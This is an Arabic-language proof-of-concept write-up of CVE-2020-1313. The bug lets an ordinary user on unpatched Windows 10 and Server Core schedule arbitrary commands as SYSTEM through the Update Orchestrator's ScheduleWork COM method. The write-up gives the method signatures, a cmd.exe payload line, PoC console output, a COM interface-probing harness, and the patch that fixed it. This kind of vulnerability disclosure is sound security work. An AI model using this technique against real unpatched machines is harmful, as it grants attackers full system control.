
إثبات مفهوم لاستغلال ثغرة تصعيد الامتيازات في خدمة Windows Update Orchestrator Service
خدمة Windows Update Orchestrator Service هي خدمة DCOM تستخدمها مكونات أخرى لتثبيت تحديثات ويندوز التي تم تنزيلها بالفعل. كانت USO عرضة لثغرة رفع امتيازات (من أي مستخدم إلى النظام المحلي) بسبب عدم تفويض المتصلين بشكل صحيح. أثرت الثغرة على منتجات Windows 10 وWindows Server Core. أصلحت مايكروسوفت هذه الثغرة في تحديثات Patch Tuesday لشهر يونيو 2020.
تعمل خدمة UniversalOrchestrator (9C695035-48D2-4229-8B73-4C70E756E519)، المنفذة في usosvc.dll، بحساب NT_AUTHORITY\SYSTEM وهي مهيأة بصلاحيات وصول لمجموعة BUILTIN\Users (من بين مجموعات أخرى).
على الرغم من أن تعداد فئات COM المنفذة بواسطة هذه الخدمة محظور (OLEView.NET: Error querying COM interfaces - ClassFactory cannot supply requested class)، فإن واجهة IUniversalOrchestrator (c53f3549-0dbf-429a-8297-c812ba00742d) — كما تعرضها تعريفات البروكسي (proxy) — يمكن الحصول عليها عبر استدعاءات COM API القياسية. يتم تصدير الطرق الثلاث التالية:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
يمكن استخدام طريقة ScheduleWork لجدولة أمر ليتم تنفيذه في سياق الخدمة، ويمكن القيام بذلك دون أي تفويض من مقدم الطلب.
وعلى الرغم من أن الملف التنفيذي المستهدف نفسه يجب أن يكون موقّعًا رقميًا وأن يقع تحت c:\windows\system32 أو في الملفات العامة داخل Program Files، إلا أنه يمكن أيضًا تحديد وسائط سطر الأوامر.
هذا يجعل من الممكن تشغيل c:\windows\system32\cmd.exe والحصول على تنفيذ تعسفي للكود بهذه الطريقة تحت حساب NT_AUTHORITY\SYSTEM، مما يجعل هذه المشكلة ثغرة رفع امتيازات محلية.
العمل "مجدول" ولا يتم تشغيله فورًا.
يُهيئ إثبات المفهوم (PoC) الذي أنشأته "مهمة" مع cmdLine c:\windows\system32\cmd.exe والمعاملات: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
تنفيذه:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
يُضاف إدخال حول العمل المجدول إلى السجل:

يتم تنفيذ الأمر المحدد أثناء الليل (في حوالي الساعة 23:20) عندما لا يُتوقع أي تفاعل من المستخدم، أو بعد انقضاء فترة SLA البالغة 3 أيام.
عندما تعذّر عليّ الحصول على تعريف واجهة خدمة USO باستخدام OleView.NET، أنشأت سكربتًا لاختبار مئات التركيبات من CLSID/IID التي توقعت أنها ستعمل على مستوى ما. كان يبدو شيء من هذا القبيل:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
وكانت نتيجة هذا النهج:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
ثم بدأت الهندسة العكسية للتنفيذ ووجدت التدفق الموصوف أعلاه.
أصلحت مايكروسوفت هذه المشكلة في تحديثات Patch Tuesday لشهر يونيو 2020 بإضافة استدعاء CoImpersonateClient API المفقود.
التنفيذ قبل تطبيق الإصلاح:

التنفيذ بعد تطبيق الإصلاح:

كيف يساعد هذا؟ يتم الانتحال (Impersonation) في بداية معالجة الطلب، لذلك تُنفَّذ استدعاءات API لتحديث السجل في السياق الأمني للمتصل. إذا لم يكن لدى المتصل صلاحية على HKEY_LOCAL_MACHINE، فستفشل طريقة API الخاصة بـ USO وفقًا لذلك.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313